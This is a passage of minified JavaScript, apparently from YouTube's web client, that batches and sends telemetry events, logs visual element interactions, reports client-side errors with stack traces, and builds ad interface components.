xOf=function(x,T,t,u,H,I,E){H=H===void 0?{}:H;var Z=Math.round((0,g.bo)()),e=x.size,l=iSf(E);x=g.S(x);var m=x.next();for(E={};!m.done;E={Z5:void 0,batchRequest:void 0,dangerousLogToVisitorSession:void 0,b$:void 0,TB:void 0},m=x.next()){var d=g.S(m.value);m=d.next().value;d=d.next().value;E.batchRequest=g.vR({context:g.E5(T.config_||g.Is())});if(!g.QJ(d)&&!g.R6("throw_err_when_logevent_malformed_killswitch")){u();break}E.batchRequest.events=d;(d=qM[m])&&I$H(E.batchRequest,m,d);delete qM[m];E.dangerousLogToVisitorSession=
m==="visitorOnlyApprovedKey";EiX(E.batchRequest,Z,E.dangerousLogToVisitorSession);qY3(H);E.b$=function(M){g.R6("start_client_gcf")&&g.Du.v_(function(){return g.G(function(A){return g.v(A,ZSi(M),0)})});
e--;e||t()};
E.Z5=0;E.TB=function(M){return function(){M.Z5++;if(H.bypassNetworkless&&M.Z5===1)try{g.Xw(T,l,M.batchRequest,e8({writeThenSend:!0},M.dangerousLogToVisitorSession,M.b$,M.TB,I)),j8=!1}catch(A){g.wF(A),u()}e--;e||t()}}(E);
try{g.Xw(T,l,E.batchRequest,e8(H,E.dangerousLogToVisitorSession,E.b$,E.TB,I)),j8=!1}catch(M){g.wF(M),u()}}};
Tx4=function(x,T,t,u,H,I){u=u===void 0?{}:u;var E=Math.round((0,g.bo)()),Z={value:x.size},e=new Map([].concat(g.U(x)));e=g.S(e);for(var l=e.next();!l.done;l=e.next()){var m=g.S(l.value).next().value,d=x.get(m);l=new WL5;var M=T.config_||g.Is(),A=new nr,R=new kT;d9(R,1,M.ZL);d9(R,2,M.kN);AZ(R,16,M.JS);d9(R,17,M.innertubeContextClientVersion);if(M.wQ){var Y=M.wQ,b=new rF;Y.coldConfigData&&d9(b,1,Y.coldConfigData);Y.appInstallData&&d9(b,6,Y.appInstallData);Y.coldHashData&&d9(b,3,Y.coldHashData);Y.hotHashData&&
b.LA(Y.hotHashData);iX(R,rF,62,b)}(Y=g.BX.devicePixelRatio)&&Y!=1&&WB(R,65,HB(Y));Y=SF();Y!==""&&d9(R,54,Y);Y=ci();if(Y.length>0){b=new v9;for(var z=0;z<Y.length;z++){var F=new FE;d9(F,1,Y[z].key);T5(F,2,jx3,cB(Y[z].value));qQ(b,15,FE,F)}iX(A,v9,5,b)}lQD(M,R);mxJ(A);dxf(R);MJf(M,R);ATX(R);g.R6("start_client_gcf")&&Rnf(R);g.pr("DELEGATED_SESSION_ID")&&!g.R6("pageid_as_header_web")&&(M=new Lr,d9(M,3,g.pr("DELEGATED_SESSION_ID")));!g.R6("fill_delegate_context_in_gel_killswitch")&&(Y=g.pr("INNERTUBE_CONTEXT_SERIALIZED_DELEGATION_CONTEXT"))&&
(b=HP(A,Lr,3)||new Lr,M=A,Y=d9(b,18,Y),iX(M,Lr,3,Y));M=R;Y=g.S(Object.entries(o6(g.pr("DEVICE",""))));for(b=Y.next();!b.done;b=Y.next())z=g.S(b.value),b=z.next().value,z=z.next().value,b==="cbrand"?d9(M,12,z):b==="cmodel"?d9(M,13,z):b==="cbr"?d9(M,87,z):b==="cbrver"?d9(M,88,z):b==="cos"?d9(M,18,z):b==="cosver"?d9(M,19,z):b==="cplatform"&&AZ(M,42,Xsf(z));A.u7(R);iX(l,nr,1,A);if(R=EC[m])a:{if(R.AR())A=1;else if(R.getPlaylistId())A=2;else break a;iX(l,JT,4,R);R=HP(l,nr,1)||new nr;M=HP(R,Lr,3)||new Lr;
Y=new G3;Y.setToken(m);AZ(Y,1,A);qQ(M,12,G3,Y);iX(R,Lr,3,M)}delete EC[m];m=m==="visitorOnlyApprovedKey";lw()||mv(l,2,E);!m&&(A=g.pr("EVENT_ID"))&&(R=e$3(),M=new Nx,d9(M,1,A),mv(M,2,R),iX(l,Nx,5,M));qY3(u);if(g.R6("jspb_serialize_with_worker")&&(A=be())&&u.writeThenSend){XX.set(m9,{client:T,resolve:t,networklessOptions:u,isIsolated:H,useVSSEndpoint:I,dangerousLogToVisitorSession:m,requestsOutstanding:Z});A.postMessage({op:"gelBatchToSerialize",batchRequest:FV(l),clientEvents:d,key:m9});m9++;break}if(d){A=
[];for(R=0;R<d.length;R++)try{A.push(new y0(d[R]))}catch(V){g.wF(new g.CS("Transport failed to deserialize "+String(d[R])))}d=A}else d=[];d=g.S(d);for(A=d.next();!A.done;A=d.next())qQ(l,3,y0,A.value);d={startTime:(0,g.bo)(),ticks:{},infos:{}};l=l.vM();d.ticks.geljspc=(0,g.bo)();g.R6("log_jspb_serialize_latency")&&ce("gel_jspb_serialize",d,{sampleRate:.1});ygH(l,T,t,u,H,I,m,Z)}};
ygH=function(x,T,t,u,H,I,E,Z){u=u===void 0?{}:u;Z=Z===void 0?{value:0}:Z;I=iSf(I);u=e8(u,E,function(e){g.R6("start_client_gcf")&&g.Du.v_(function(){return g.G(function(l){return g.v(l,ZSi(e),0)})});
Z.value--;Z.value||t()},function(){Z.value--;
Z.value||t()},H);
u.headers["Content-Type"]="application/json+protobuf";u.postBodyFormat="JSPB";u.postBody=x;g.Xw(T,I,"",u);j8=!1};
qY3=function(x){g.R6("always_send_and_write")&&(x.writeThenSend=!1)};
e8=function(x,T,t,u,H){x={retry:!0,onSuccess:t,onError:u,networklessOptions:x,dangerousLogToVisitorSession:T,ysG:!!H,headers:{},postBodyFormat:"",postBody:"",compress:g.R6("compress_gel")||g.R6("compress_gel_lr")};lw()&&(x.headers["X-Goog-Request-Time"]=JSON.stringify(Math.round((0,g.bo)())));return x};
EiX=function(x,T,t){lw()||(x.requestTimeMs=String(T));g.R6("unsplit_gel_payloads_in_logs")&&(x.unsplitGelPayloadsInLogs=!0);!t&&(T=g.pr("EVENT_ID"))&&(t=e$3(),x.serializedClientEventId={serializedEventId:T,clientCounter:String(t)})};
e$3=function(){var x=g.pr("BATCH_CLIENT_COUNTER")||0;x||(x=Math.floor(Math.random()*65535/2));x++;x>65535&&(x=1);Q0("BATCH_CLIENT_COUNTER",x);return x};
I$H=function(x,T,t){if(t.videoId)var u="VIDEO";else if(t.playlistId)u="PLAYLIST";else return;x.credentialTransferTokenTargetId=t;x.context=x.context||{};x.context.user=x.context.user||{};x.context.user.credentialTransferTokens=[{token:T,scope:u}]};
xx=function(x,T){if(!g.yJ("yt.logging.transport.enableScrapingForTest")){var t=Ag("il_payload_scraping");if((t!==void 0?String(t):"")==="enable_il_payload_scraping")dp=[],g.DC("yt.logging.transport.enableScrapingForTest",!0),g.DC("yt.logging.transport.scrapedPayloadsForTesting",dp),g.DC("yt.logging.transport.payloadToScrape","visualElementShown visualElementHidden visualElementAttached screenCreated visualElementGestured visualElementStateChanged".split(" ")),g.DC("yt.logging.transport.getScrapedPayloadFromClientEventsFunction"),
g.DC("yt.logging.transport.scrapeClientEvent",!0);else return}t=g.yJ("yt.logging.transport.scrapedPayloadsForTesting");var u=g.yJ("yt.logging.transport.payloadToScrape");T&&(T=T.payload,(T=g.yJ("yt.logging.transport.getScrapedPayloadFromClientEventsFunction").bind(T)())&&t.push(T));T=g.yJ("yt.logging.transport.scrapeClientEvent");if(u&&u.length>=1)for(var H=0;H<u.length;H++)if(x&&x.payload[u[H]])if(T)t.push(x.payload);else{var I=void 0;t.push(((I=x)==null?void 0:I.payload)[u[H]])}g.DC("yt.logging.transport.scrapedPayloadsForTesting",
t)};
lw=function(){return g.R6("use_request_time_ms_header")||g.R6("lr_use_request_time_ms_header")};
iw=function(x,T){return g.R6("transport_use_scheduler")===!1?g.lP(x,T):g.R6("logging_avoid_blocking_during_navigation")||g.R6("lr_logging_avoid_blocking_during_navigation")?g.wx(0,function(){if(WF3().currentState==="none")x();else{var t={};WF3().install((t.none={callback:x},t))}},T):fS(x,0,T)};
Zx=function(x){g.R6("transport_use_scheduler")?g.Du.L_(x):g.d2(x)};
ZSi=function(x){var T,t,u,H,I,E,Z,e,l,m;return g.G(function(d){return d.C==1?(u=(T=x)==null?void 0:(t=T.responseContext)==null?void 0:t.globalConfigGroup,H=g.N(u,l$m),E=(I=u)==null?void 0:I.hotHashData,Z=g.N(u,mO4),l=(e=u)==null?void 0:e.coldHashData,(m=VG().resolve(new zh(He)))?E?H?g.v(d,qi3(m,E,H),2):g.v(d,qi3(m,E),2):d.lG(2):d.return()):l?Z?g.v(d,Zr3(m,l,Z),0):g.v(d,Zr3(m,l),0):d.lG(0)})};
$x=function(x,T){T=T===void 0?200:T;return x?T===300?t$i:dOJ:T===300?sx5:M$X};
CPH=function(x){if(g.R6("enable_web_tiered_gel")){x=Atv[x||""];var T,t,u,H=VG().resolve(new zh(He))==null?void 0:(T=ie())==null?void 0:(t=T.loggingHotConfig)==null?void 0:(u=t.eventLoggingConfig)==null?void 0:u.payloadPolicies;if(H)for(T=0;T<H.length;T++)if(H[T].payloadNumber===x)return H[T]}};
JgH=function(x){x=Object.keys(x);x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(T=T.value,Atv[T])return T};
Q63=function(x){switch(x){case "DELAYED_EVENT_TIER_UNSPECIFIED":return 0;case "DELAYED_EVENT_TIER_DEFAULT":return 100;case "DELAYED_EVENT_TIER_DISPATCH_TO_EMPTY":return 200;case "DELAYED_EVENT_TIER_FAST":return 300;case "DELAYED_EVENT_TIER_IMMEDIATE":return 400;default:return 200}};
tP=function(x){return x==="gelDebuggingEvent"};
iSf=function(x){return(x===void 0?0:x)&&g.R6("vss_through_gel_video_stats")?"video_stats":"log_event"};
AP=function(x,T,t,u){u=u===void 0?{}:u;var H={},I=Math.round(u.timestamp||(0,g.bo)());H.eventTimeMs=I<Number.MAX_SAFE_INTEGER?I:0;H[x]=T;x=bH();H.context={lastActivityMs:String(u.timestamp||!isFinite(x)?-1:x)};u.sequenceGroup&&!g.R6("web_gel_sequence_info_killswitch")&&(x=H.context,T=u.sequenceGroup,T={index:R$V(T),groupKey:T},x.sequence=T,u.endOfSequence&&delete MM[u.sequenceGroup]);(u.sendIsolatedPayload?piX:f2J)({endpoint:"log_event",payload:H,cttAuthInfo:u.cttAuthInfo,dangerousLogToVisitorSession:u.dangerousLogToVisitorSession},
t)};
R$V=function(x){MM[x]=x in MM?MM[x]+1:0;return MM[x]};
g.io=function(x,T,t){t=t===void 0?{}:t;var u=g.Kf;g.pr("ytLoggingEventsDefaultDisabled",!1)&&g.Kf===g.Kf&&(u=null);AP(x,T,u,t)};
RY=function(x){this.C=x};
g.PW=function(x){return new RY({trackingParams:x})};
SYH=function(x){var T=Pjm++;return new RY({veType:x,veCounter:T,elementIndex:void 0,dataElement:void 0,youtubeData:void 0,jspbYoutubeData:void 0,loggingDirectives:void 0})};
ctX=function(x){return g.pr("client-screen-nonce-store",{})[x===void 0?0:x]};
YY5=function(x,T){T=T===void 0?0:T;var t=g.pr("client-screen-nonce-store");t||(t={},Q0("client-screen-nonce-store",t));t[T]=x};
S8=function(x){x=x===void 0?0:x;return x===0?"ROOT_VE_TYPE":"ROOT_VE_TYPE."+x};
UOf=function(x){return g.pr(S8(x===void 0?0:x))};
g.cW=function(x){return(x=UOf(x===void 0?0:x))?new RY({veType:x,youtubeData:void 0,jspbYoutubeData:void 0}):null};
bS3=function(){var x=g.pr("csn-to-ctt-auth-info");x||(x={},Q0("csn-to-ctt-auth-info",x));return x};
rtm=function(){return Object.values(g.pr("client-screen-nonce-store",{})).filter(function(x){return x!==void 0})};
g.Yx=function(x){x=ctX(x===void 0?0:x);if(!x&&!g.pr("USE_CSN_FALLBACK",!0))return null;x||(x="UNDEFINED_CSN");return x?x:null};
kxD=function(x){for(var T=g.S(Object.values(z$3)),t=T.next();!t.done;t=T.next())if(g.Yx(t.value)===x)return!0;return!1};
FWX=function(x,T,t){var u=bS3();(t=g.Yx(t))&&delete u[t];T&&(u[x]=T)};
UC=function(x){return bS3()[x]};
vi5=function(x,T,t,u){t=t===void 0?0:t;if(x!==ctX(t)||T!==g.pr(S8(t)))if(FWX(x,u,t),YY5(x,t),Q0(S8(t),T),T=function(){setTimeout(function(){x&&g.io("foregroundHeartbeatScreenAssociated",{clientDocumentNonce:h$3,clientScreenNonce:x})},0)},"requestAnimationFrame"in window)try{window.requestAnimationFrame(T)}catch(H){T()}else T()};
bw=function(x,T){var t=t===void 0?!0:t;var u=g.pr("VALID_SESSION_TEMPDATA_DOMAINS",[]),H=g.nq(window.location.href);H&&u.push(H);H=g.nq(x);if(g.wy(u,H)||!H&&cE(x,"/"))if(u=document.createElement("a"),g.VD(u,x),x=u.href)if(x=aZ(x),x=RKH(x))if(t&&!T.csn&&(T.itct||T.ved)&&(T=Object.assign({csn:g.Yx()},T)),I){var I=parseInt(I,10);isFinite(I)&&I>0&&V$J(x,T,I)}else V$J(x,T)};
V$J=function(x,T,t){x=Gx4(x);T=T?g.DH(T):"";t=t||5;Tx()&&g.Ly(x,T,t)};
Gx4=function(x){for(var T=g.S(LWq),t=T.next();!t.done;t=T.next())x=Qt(x,t.value);return"ST-"+Xq(x).toString(36)};
ni4=function(x){if(x.name==="JavaException")return!0;x=x.stack;return x.includes("chrome://")||x.includes("chrome-extension://")||x.includes("moz-extension://")};
a$f=function(){this.CN=[];this.q_=[]};
zM=function(){if(!rp){var x=rp=new a$f;x.q_.length=0;x.CN.length=0;gi4(x,Bxm)}return rp};
gi4=function(x,T){T.q_&&x.q_.push.apply(x.q_,T.q_);T.CN&&x.CN.push.apply(x.CN,T.CN)};
WW5=function(x){function T(){return x.charCodeAt(u++)}
var t=x.length,u=0;do{var H=kx(T);if(H===Infinity)break;var I=H>>3;switch(H&7){case 0:H=kx(T);if(I===2)return H;break;case 1:if(I===2)return;u+=8;break;case 2:H=kx(T);if(I===2)return x.substr(u,H);u+=H;break;case 5:if(I===2)return;u+=4;break;default:return}}while(u<t)};
kx=function(x){var T=x(),t=T&127;if(T<128)return t;T=x();t|=(T&127)<<7;if(T<128)return t;T=x();t|=(T&127)<<14;if(T<128)return t;T=x();return T<128?t|(T&127)<<21:Infinity};
DOf=function(x,T,t,u){if(x)if(Array.isArray(x)){var H=u;for(u=0;u<x.length&&!(x[u]&&(H+=FY(u,x[u],T,t),H>500));u++);u=H}else if(typeof x==="object")for(H in x){if(x[H]){var I=H;var E=x[H],Z=T,e=t;I=typeof E!=="string"||I!=="clickTrackingParams"&&I!=="trackingParams"?0:(E=WW5(atob(E.replace(/-/g,"+").replace(/_/g,"/"))))?FY(I+".ve",E,Z,e):0;u+=I;u+=FY(H,x[H],T,t);if(u>500)break}}else t[T]=hP(x),u+=t[T].length;else t[T]=hP(x),u+=t[T].length;return u};
FY=function(x,T,t,u){t+="."+x;x=hP(T);u[t]=x;return t.length+x.length};
hP=function(x){try{return(typeof x==="string"?x:String(JSON.stringify(x))).substr(0,500)}catch(T){return"unable to serialize "+typeof x+" ("+T.message+")"}};
Hy=function(x){g.vW(x)};
g.Vh=function(x){g.vW(x,"WARNING")};
g.vW=function(x,T){var t=t===void 0?{}:t;t.name=g.pr("INNERTUBE_CONTEXT_CLIENT_NAME",1);t.version=g.pr("INNERTUBE_CONTEXT_CLIENT_VERSION");T=T===void 0?"ERROR":T;var u=!1;T=T===void 0?"ERROR":T;u=u===void 0?!1:u;if(x){x.hasOwnProperty("level")&&x.level&&(T=x.level);if(g.R6("console_log_js_exceptions")){var H=[];H.push("Name: "+x.name);H.push("Message: "+x.message);x.hasOwnProperty("params")&&H.push("Error Params: "+JSON.stringify(x.params));x.hasOwnProperty("args")&&H.push("Error args: "+JSON.stringify(x.args));
H.push("File name: "+x.fileName);H.push("Stacktrace: "+x.stack);window.console.log(H.join("\n"),x)}if(!(ytD>=5)){H=Nx3;var I=U5X(x),E=I.message||"Unknown Error",Z=I.name||"UnknownError",e=I.stack||x.Z||"Not available";if(e.startsWith(Z+": "+E)){var l=e.split("\n");l.shift();e=l.join("\n")}l=I.lineNumber||"Not available";I=I.fileName||"Not available";var m=0;if(x.hasOwnProperty("args")&&x.args&&x.args.length)for(var d=0;d<x.args.length&&!(m=DOf(x.args[d],"params."+d,t,m),m>=500);d++);else if(x.hasOwnProperty("params")&&
x.params){var M=x.params;if(typeof x.params==="object")for(d in M){if(M[d]){var A="params."+d,R=hP(M[d]);t[A]=R;m+=A.length+R.length;if(m>500)break}}else t.params=hP(M)}if(H.length)for(d=0;d<H.length&&!(m=DOf(H[d],"params.context."+d,t,m),m>=500);d++);navigator.vendor&&!t.hasOwnProperty("vendor")&&(t["device.vendor"]=navigator.vendor);t={message:E,name:Z,lineNumber:l,fileName:I,stack:e,params:t,sampleWeight:1};H=Number(x.columnNumber);isNaN(H)||(t.lineNumber=t.lineNumber+":"+H);if(x.level==="IGNORED")x=
0;else a:{x=zM();H=g.S(x.q_);for(E=H.next();!E.done;E=H.next())if(E=E.value,t.message&&t.message.match(E.cZ)){x=E.weight;break a}x=g.S(x.CN);for(H=x.next();!H.done;H=x.next())if(H=H.value,H.callback(t)){x=H.weight;break a}x=1}t.sampleWeight=x;x=g.S(JtJ);for(H=x.next();!H.done;H=x.next())if(H=H.value,H.rT[t.name])for(Z=g.S(H.rT[t.name]),E=Z.next();!E.done;E=Z.next())if(d=E.value,E=t.message.match(d.m0)){t.params["params.error.original"]=E[0];Z=d.groups;d={};for(l=0;l<Z.length;l++)d[Z[l]]=E[l+1],t.params["params.error."+
Z[l]]=E[l+1];t.message=H.mQ(d);break}t.params||(t.params={});x=zM();t.params["params.errorServiceSignature"]="msg="+x.q_.length+"&cb="+x.CN.length;t.params["params.serviceWorker"]="false";g.BX.document&&g.BX.document.querySelectorAll&&(t.params["params.fscripts"]=String(document.querySelectorAll("script:not([nonce])").length));(new LI(G0,"sample")).constructor!==LI&&(t.params["params.fconst"]="true");window.yterr&&typeof window.yterr==="function"&&window.yterr(t);if(t.sampleWeight!==0&&!Cjq.has(t.message)){if(u&&
g.R6("web_enable_error_204"))Qxv(T===void 0?"ERROR":T,t);else{T=T===void 0?"ERROR":T;T==="ERROR"?(GM.publish("handleError",t),g.R6("record_app_crashed_web")&&pc5===0&&t.sampleWeight===1&&(pc5++,u={appCrashType:"APP_CRASH_TYPE_BREAKPAD"},g.R6("report_client_error_with_app_crash_ks")||(u.systemHealth={crashData:{clientError:{logMessage:{message:t.message}}}}),g.io("appCrashed",u)),OSH++):T==="WARNING"&&GM.publish("handleWarning",t);if(g.R6("kevlar_gel_error_routing")){u=T;x=void 0;x=x===void 0?{}:x;
b:{H=g.S(f$5);for(E=H.next();!E.done;E=H.next())if(g.D2(E.value.toLowerCase())){H=!0;break b}H=!1}if(H)x=void 0;else{E={stackTrace:t.stack};t.fileName&&(E.filename=t.fileName);H=t.lineNumber&&t.lineNumber.split?t.lineNumber.split(":"):[];H.length!==0&&(H.length!==1||isNaN(Number(H[0]))?H.length!==2||isNaN(Number(H[0]))||isNaN(Number(H[1]))||(E.lineNumber=Number(H[0]),E.columnNumber=Number(H[1])):E.lineNumber=Number(H[0]));H={level:"ERROR_LEVEL_UNKNOWN",message:t.message,errorClassName:t.name,sampleWeight:t.sampleWeight};
u==="ERROR"?H.level="ERROR_LEVEL_ERROR":u==="WARNING"&&(H.level="ERROR_LEVEL_WARNNING");E={isObfuscated:!0,browserStackInfo:E};x.pageUrl=window.location.href;x.kvPairs=[];g.pr("FEXP_EXPERIMENTS")&&(x.experimentIds=g.pr("FEXP_EXPERIMENTS"));Z=g.pr("LATEST_ECATCHER_SERVICE_TRACKING_PARAMS");if(!Oi("web_disable_gel_stp_ecatcher_killswitch")&&Z)for(d=g.S(Object.keys(Z)),l=d.next();!l.done;l=d.next())l=l.value,x.kvPairs.push({key:l,value:String(Z[l])});if(Z=t.params)for(d=g.S(Object.keys(Z)),l=d.next();!l.done;l=
d.next())l=l.value,x.kvPairs.push({key:"client."+l,value:String(Z[l])});Z=g.pr("SERVER_NAME");d=g.pr("SERVER_VERSION");Z&&d&&(x.kvPairs.push({key:"server.name",value:Z}),x.kvPairs.push({key:"server.version",value:d}));x={errorMetadata:x,stackTrace:E,logMessage:H}}if(x&&(g.io("clientError",x),u==="ERROR"||g.R6("errors_flush_gel_always_killswitch")))a:{if(g.R6("web_fp_via_jspb")){u=!0;u=u===void 0?!1:u;x=wcV;wcV=[];if(x)for(x=g.S(x),H=x.next();!H.done;H=x.next())H=H.value,u?AP(H.payloadName,H.payload,
g.Kf,H.options):g.io(H.payloadName,H.payload,H.options);sC(void 0,!0);if(!g.R6("web_fp_via_jspb_and_json"))break a}sC(void 0,!1)}}g.R6("suppress_error_204_logging")||Qxv(T,t)}try{Cjq.add(t.message)}catch(Y){}ytD++}}}};
Qxv=function(x,T){var t=T.params||{};x={urlParams:{a:"logerror",t:"jserror",type:T.name,msg:T.message.substr(0,250),line:T.lineNumber,level:x,"client.name":t.name},postParams:{url:g.pr("PAGE_NAME",window.location.href),file:T.fileName},method:"POST"};t.version&&(x["client.version"]=t.version);if(x.postParams){T.stack&&(x.postParams.stack=T.stack);T=g.S(Object.keys(t));for(var u=T.next();!u.done;u=T.next())u=u.value,x.postParams["client."+u]=t[u];if(t=g.pr("LATEST_ECATCHER_SERVICE_TRACKING_PARAMS"))for(T=
g.S(Object.keys(t)),u=T.next();!u.done;u=T.next())u=u.value,x.postParams[u]=t[u];(t=g.pr("LAVA_VERSION"))&&(x.postParams["lava.version"]=t);t=g.pr("SERVER_NAME");T=g.pr("SERVER_VERSION");t&&T&&(x.postParams["server.name"]=t,x.postParams["server.version"]=T)}g.Ur(g.pr("ECATCHER_REPORT_HOST","")+"/error_204",x)};
KWm=function(x){var T=g.FD.apply(1,arguments);x.args||(x.args=[]);x.args.push.apply(x.args,g.U(T))};
aY=function(x){var T=g.N(x,LP);if(T)return T;if((T=g.N(x,Xcv))&&T.commands)return x4J(T.commands);if((T=g.N(x,Tm5))&&T.commands)return x4J(T.commands);if((x=g.N(x,o$m))&&x.identifier&&x.command&&(nP||(nP=[]),!nP.includes(x.identifier)))return nP.push(x.identifier),g.N(x.command,LP)};
x4J=function(x){if(x.length!==0){var T=[];x=g.S(x);for(var t=x.next();!t.done;t=x.next())(t=aY(t.value))&&T.push(t);return{commandExecutorCommand:{commands:T}}}};
g.gp=function(x,T,t){t===void 0?delete x[T.name]:x[T.name]=t};
tDv=function(x){for(var T=0,t=0;t<x.length;t++)T=T*31+x.charCodeAt(t),t<x.length-1&&(T%=0x800000000000);return T%1E5};
BW=function(x){Zc.call(this,1,arguments);this.csn=x};
u33=function(x,T,t,u,H,I,E,Z){var e=suV(),l=new RY({veType:T,youtubeData:I,jspbYoutubeData:void 0});I=WW({},e);H&&(I.cttAuthInfo=H);H={csn:e,pageVe:l.getAsJson()};g.R6("expectation_logging")&&Z&&Z.screenCreatedLoggingExpectations&&(H.screenCreatedLoggingExpectations=Z.screenCreatedLoggingExpectations);t&&t.visualElement?(H.implicitGesture={parentCsn:t.clientScreenNonce,gesturedVe:t.visualElement.getAsJson()},E&&(H.implicitGesture.gestureType=E)):t&&g.Vh(new g.CS("newScreen() parent element does not have a VE - rootVe",
T));u&&(H.cloneCsn=u);x?AP("screenCreated",H,x,I):g.io("screenCreated",H,I);le(UxJ,new BW(e));Dx.clear();yh.clear();NM.clear();return e};
g.CP=function(x,T,t,u,H){g.JP(x,T,t,[u],H===void 0?!1:H)};
g.JP=function(x,T,t,u,H){H=H===void 0?!1:H;for(var I=WW({cttAuthInfo:UC(T)||void 0},T),E=g.S(u),Z=E.next();!Z.done;Z=E.next()){Z=Z.value;var e=Z.getAsJson();(g.z0(e)||!e.trackingParams&&!e.veType)&&g.Vh(Error("Child VE logged with no data"));if(g.R6("no_client_ve_attach_unless_shown")){var l=Qh(Z,T);if(e.veType&&!yh.has(l)&&!NM.has(l)&&!H){if(!g.R6("il_attach_cache_limit")||Dx.size<1E3){Dx.set(l,[x,T,t,Z]);return}g.R6("il_attach_cache_limit")&&Dx.size>1E3&&g.Vh(new g.CS("IL Attach cache exceeded limit"))}Z=
Qh(t,T);Dx.has(Z)?pP(t,T):NM.set(Z,!0)}}u=u.filter(function(m){m.csn!==T?(m.csn=T,m=!0):m=!1;return m});
t={csn:T,parentVe:t.getAsJson(),childVes:g.r7(u,function(m){return m.getAsJson()})};
T==="UNDEFINED_CSN"?OC("visualElementAttached",I,t):x?AP("visualElementAttached",t,x,I):g.io("visualElementAttached",t,I)};
$4f=function(x,T,t,u,H){fP(t,T);u=WW({cttAuthInfo:UC(T)||void 0},T);t={csn:T,ve:t.getAsJson(),eventType:1};H&&(t.clientData=H);T==="UNDEFINED_CSN"?OC("visualElementShown",u,t):x?AP("visualElementShown",t,x,u):g.io("visualElementShown",t,u)};
HM4=function(x,T,t,u){var H=(u=u===void 0?!1:u)?16:8;u=WW({cttAuthInfo:UC(T)||void 0,endOfSequence:u},T);t={csn:T,ve:t.getAsJson(),eventType:H};T==="UNDEFINED_CSN"?OC("visualElementHidden",u,t):x?AP("visualElementHidden",t,x,u):g.io("visualElementHidden",t,u)};
iM3=function(x,T,t,u,H){wp(x,T,t,void 0,u,H)};
wp=function(x,T,t,u,H){fP(t,T);u=u||"INTERACTION_LOGGING_GESTURE_TYPE_GENERIC_CLICK";var I=WW({cttAuthInfo:UC(T)||void 0},T);t={csn:T,ve:t.getAsJson(),gestureType:u};H&&(t.clientData=H);T==="UNDEFINED_CSN"?OC("visualElementGestured",I,t):x?AP("visualElementGestured",t,x,I):g.io("visualElementGestured",t,I)};
I_H=function(){var x=Pz(16);for(var T=[],t=0;t<x.length;t++)T.push("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".charAt(x[t]&63));return T.join("")};
OC=function(x,T,t){KP.push({payloadName:x,payload:t,D_m:void 0,options:T});XY||(XY=F4i())};
zn4=function(x){if(KP){for(var T=g.S(KP),t=T.next();!t.done;t=T.next())t=t.value,t.payload&&(t.payload.csn=x.csn,g.io(t.payloadName,t.payload,t.options));KP.length=0}XY=0};
Qh=function(x,T){return""+x.getAsJson().veType+x.getAsJson().veCounter+T};
fP=function(x,T){if(g.R6("no_client_ve_attach_unless_shown")){var t=Qh(x,T);yh.set(t,!0);pP(x,T)}};
pP=function(x,T){x=Qh(x,T);Dx.has(x)&&(T=Dx.get(x)||[],g.CP(T[0],T[1],T[2],T[3],!0),Dx.delete(x))};
WW=function(x,T){g.R6("log_sequence_info_on_gel_web")&&(x.sequenceGroup=T);return x};
g.xB=function(x,T,t,u){g.Kr($4f)(void 0,x,T,t,u,void 0)};
g.TQ=function(x,T){g.Kr(function(){g.lg(T,function(t){fP(t,x);var u=WW({cttAuthInfo:UC(x)||void 0},x);t={csn:x,ve:t.getAsJson(),eventType:4};x==="UNDEFINED_CSN"?OC("visualElementShown",u,t):g.io("visualElementShown",t,u)})})()};
g.o4=function(x,T){g.Kr(function(){g.lg(T,function(t){HM4(void 0,x,t)})})()};
g.t3=function(x,T,t){g.Kr(iM3)(void 0,x,T,t,void 0)};
u9=function(x,T,t,u,H,I){t=t===void 0?{}:t;this.componentType=x;this.renderer=T===void 0?null:T;this.macros=t;this.layoutId=u;this.interactionLoggingClientData=H;this.C=I;this.id=sV(x)};
sV=function(x){var T=":"+(B$.getInstance().C++).toString(36);return x+T};
g.$B=function(x){x=x===void 0?!1:x;g.W.call(this);this.GC=new g.UR(x);g.y(this,this.GC)};
Ha=function(){var x="ytp-id-"+E$v.toString();E$v++;return x};
g.i9=function(x){g.W.call(this);this.ra={};this.cS={};this.element=this.createElement(x)};
I4=function(x,T,t,u){if(u.substring(0,2)==="{{")x.cS[u]=[T,t];else return u};
qxD=function(x,T){var t=[];if(!T)return t;T=g.S(T);for(var u=T.next();!u.done;u=T.next())if(u=u.value,u!=null){var H=u.nodeType;H===1||H===3?t.push(u):u&&typeof u.L==="string"?t.push(x.createElement(u)):u.element?t.push(u.element):typeof u==="string"&&u.indexOf("\n")!==-1?u.split("\n").forEach(function(I,E){E>0&&t.push(g.Xn("BR"));t.push(g.xU(I))}):t.push(g.xU(u))}return t};
EV=function(x,T,t,u){if(t==="child"){g.o0(T);var H;u===void 0?H=void 0:H=!Array.isArray(u)||u&&typeof u.L==="string"?[u]:u;t=qxD(x,H);t=g.S(t);for(x=t.next();!x.done;x=t.next())T.appendChild(x.value)}else t==="style"?g.Zt(T,"cssText",u?u:""):u===null||u===void 0?T.removeAttribute(t):(x=u.toString(),t==="href"&&(x=g.z1(g.hG(x))),T.setAttribute(t,x))};
g.Q=function(x){g.i9.call(this,x);this.lN=!0;this.T=!1;this.listeners=[]};
g.qS=function(x){g.Q.call(this,x);this.G9=new g.$B;g.y(this,this.G9)};
ZJ=function(x,T,t,u,H,I,E){E=E===void 0?null:E;g.qS.call(this,T);this.api=x;this.macros={};this.componentType=t;this.N=this.J=null;this.Cz=E;this.layoutId=u;this.interactionLoggingClientData=H;this.JQ=I;this.mu=null;this.EH=new A1(this.element);g.y(this,this.EH);this.Ee=this.V(this.element,"click",this.onClick);this.Hv=[];this.uG=new rgm(this.onClick,this);g.y(this,this.uG);this.Lz=!1;this.hQ=this.ZZ=null};
jb=function(x,T){x=x===void 0?null:x;T=T===void 0?null:T;if(x==null)return g.Vh(Error("Got null or undefined adText object")),"";var t=g.Kd(x.text);if(!x.isTemplated)return t;if(T==null)return g.Vh(Error("Missing required parameters for a templated message")),t;x=g.S(Object.entries(T));for(T=x.next();!T.done;T=x.next()){var u=g.S(T.value);T=u.next().value;u=u.next().value;t=t.replace("{"+T+"}",u)}return t};
ZMJ=function(x){x=x===void 0?null:x;return x!=null&&(x=x.thumbnail,x!=null&&x.thumbnails!=null&&x.thumbnails.length!=0&&x.thumbnails[0].url!=null)?g.Kd(x.thumbnails[0].url):""};
